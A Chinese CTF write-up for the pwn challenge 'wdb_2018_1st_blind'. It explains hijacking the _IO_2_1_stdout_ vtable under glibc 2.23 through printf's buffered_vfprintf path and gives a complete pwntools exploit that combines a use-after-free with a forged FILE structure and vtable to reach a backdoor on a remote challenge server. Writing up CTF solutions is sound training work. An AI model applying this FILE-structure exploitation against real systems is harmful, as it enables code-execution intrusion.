前置知识
glibc2.23
下的_IO_FILE
虚表劫持printf
函数的利用链
整体思路
程序中存在UAF
,但是没有leak
,很难有可以利用的值。但是可以劫持bss
段下的_IO_2_1_stdout
的虚表vtable
进行利用。这一部分知识若不会的话需要先去学习。
这里我利用的printf
函数利用链如下:
printf函数利用链(glibc2.23)
printf利用链 – glibc2.23
这条利用链如下:
printf -> vfprintf -> buffered_vfprintf -> _IO_sputn(覆盖该函数指针)
这条利用链的需要满足的条件有三点,第一个是进入buffered_vfprintf
函数,如下所示:
if (UNBUFFERED_P (s))
return buffered_vfprintf (s, format, ap);
// #define UNBUFFERED_P(S) ((S)->_IO_file_flags & _IO_UNBUFFERED)
// #define _IO_UNBUFFERED 2
因此,_flags
需要含有2。
第二个条件是buffered_vfprintf
函数中存在_IO_flockfile
宏限制:
# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_flockfile (_fp)
// #define _IO_USER_LOCK 0x8000
若_flags
不含有0x8000
,那么会调用_IO_flockfile
函数对文件加锁。因此_flags
需要含有0x8000
。
第三个条件调用函数指针时:
if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0)
{
if ((int) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush)
result = -1;
}
因此需要_IO_write_ptr > _IO_write_base
即可。
总结条件如下:
_flags
需要包含0x8000
和0x2
,即起码需要为0xfbad8002
的形式。(偏移为0x0
)_IO_write_ptr > _IO_write_base
,偏移分别为0x28
和0x20
。
exp
from pwn import *
from LibcSearcher import *
filename = './wdb_2018_1st_blind'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')
if local:
sh = process(filename)
else:
sh = remote('node5.buuoj.cn', 26799)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = 'Choice:'
menu_add = 1
add_index_words = 'Index:'
add_size_words = ''
add_content_words = 'Content:'
menu_del = 3
del_index_words = 'Index:'
menu_show = 3
show_index_words = 'Idx: '
menu_edit = 2
edit_index_words = 'Index:'
edit_size_words = ''
edit_content_words = 'Content:'
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
# flags & 2 == 1
# write_ptr > write_base
# 0x602100
# 0x602160 0x60
# 0x6021c0 0xc0
# 0x6021d8 0xd8
backdoor_addr = 0x4008e3
add(index=0, content='aaa\n')
delete(index=0)
# debug()
edit(index=0, content=p64(0x60203d) + b'\n')
# pause()
add(index=1, content='aaa\n')
add(index=2, content=b'a'*0x13 + p64(0x602020) + p64(0x602100) + p64(0x602160) + p64(0x6021c0) + b'\n')
payload = p64(0xfbad8002)
payload = payload.ljust(0x20, b'\x00') + p64(0x1) + p64(0x2)
edit(index=1, content=payload + b'\n')
# payload = p64(0).ljust(0x28, b'\x00') + p64(0x6021c0)
# edit(index=2, content=payload + b'\n')
# payload = p64(0xffffffff)
payload = p64(0)
payload = payload.ljust(0x18, b'\x00') + p64(0x6021e0)
payload += p64(0)*7 + p64(backdoor_addr)
edit(index=3, content=payload + b'\n')
payload = p64(0x602100)
# debug()
edit(index=0, content=payload + b'\n')
# pause()
# debug()
sh.interactive()